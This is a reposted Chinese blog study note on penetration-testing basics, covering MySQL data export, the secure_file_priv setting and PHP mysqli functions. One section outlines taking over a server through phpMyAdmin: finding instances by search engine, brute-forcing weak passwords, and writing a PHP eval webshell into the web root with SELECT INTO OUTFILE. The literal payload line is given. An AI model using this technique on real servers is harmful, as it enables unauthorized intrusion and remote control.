zoukankan      html  css  js  c++  java
  • 2019-10-11:渗透测试,基础学习,php+mysql连接,笔记

    mysql导出数据
    1,通过工具如phpmyadmin,navicat等
    2,mysqldump -u -p 库名 > /数据库文件, mysqldump -u -p 库名 表名 > /表数据文件
    3,select 字段 from 表名 into outfile “文件”
    mysql 5.5以后首次从数据库中都暗处文件,数据库会运行secure-file-priv 安全机制,会限制导出文件, 查看该安全项的值: show global variables like '%secure_file_priv%';
    secure-file-priv,为Null表示限制导入和导出
    secure-file-priv,没有值,表示mysql不限制导入导出
    secure-file-priv=/tmp表示mysql只能在tmp目录下导入和导出其他目录不允许

    修改安全选项
    临时方法,set global secure-file-priv='';
    注意 variable 'secure_file_priv' is read only variable表示不能通过sql语句修改
    长久方法,修改配置文件,在配置文件中找到mysqld,后面添加 secure-file-priv=' '保存退出,重启服务

    通过phpmyadmin获取服务器权限,getshell
    1,通过google hacking找phpmyadmin
    2,爆破或弱口令登录进入phpmyadmin,判断是否有限制写木马文件
    3,如果该安全选学校没有限制或者限制不严格,可以往站点根目录去写一句话木马,可以在phpmyadmin下执行sql语句,select @@basedir;
    select "<?php @eval($_POST[[123]);?>" into outfile "D:\phpstudy_pro\www\eval.php"
    4,通过webshell管理工具如,菜刀,蚁剑等去控制服务器

    php+mysql
    php操作mysql数据库
    1,使用Mysql扩展,只针对Mysql数据库
    面向对象
    直接方法,面向过程
    2,使用mysql扩展(php<=5.5)2010年开始不建议使用
    3,使用PDP(php data objects)技术(防止sql诸如)面向对象的方式,可以应用在12种数据库中

    phpinfo()中查看当前环境是否有Mysqli的扩展
    at符号(@)在PHP中用作错误控制操作符。当表达式附加@符号时,将忽略该表达式可能生成的错误消息。

    getMessage()存储错误信息
    mysqli_query()执行某个针对数据库的查询。返回的为class
    mysqli_num_rows() 返回结果集中行的数量,查询的记录数
    mysqli_fetch_assoc()从结果集中取第一行作为数字数组或关联数组,关系型数组,如果要输出所有,就使用一个循环
    mysqli_fetch_all()从结果集中取得所有行作为关联数组,或数字数组,或二者兼有。
    mysqli_field_count() 返回最近查询的列数。

  • 相关阅读:
    信息系统项目管理师2009年上午试题分析与解答
    信息系统项目管理师2005年上半年试题
    信息系统项目管理师2008年下半年试题
    信息系统项目管理师历年上午试题答案及试题和大纲
    信息系统项目管理师2008年上半年试题
    信息系统项目管理师2005年下半年试题
    信息系统项目管理师2006年下半年试题
    一个经典的问题(构造函数调用+抽象类+间接继承抽象类)
    重载构造函数+复用构造函数+原始构造与This引用的区别(一步步案例分析)
    GetType()与Typeof()的区别 举了2个案例
  • 原文地址:https://www.cnblogs.com/sym945/p/11654514.html
Copyright © 2011-2022 走看看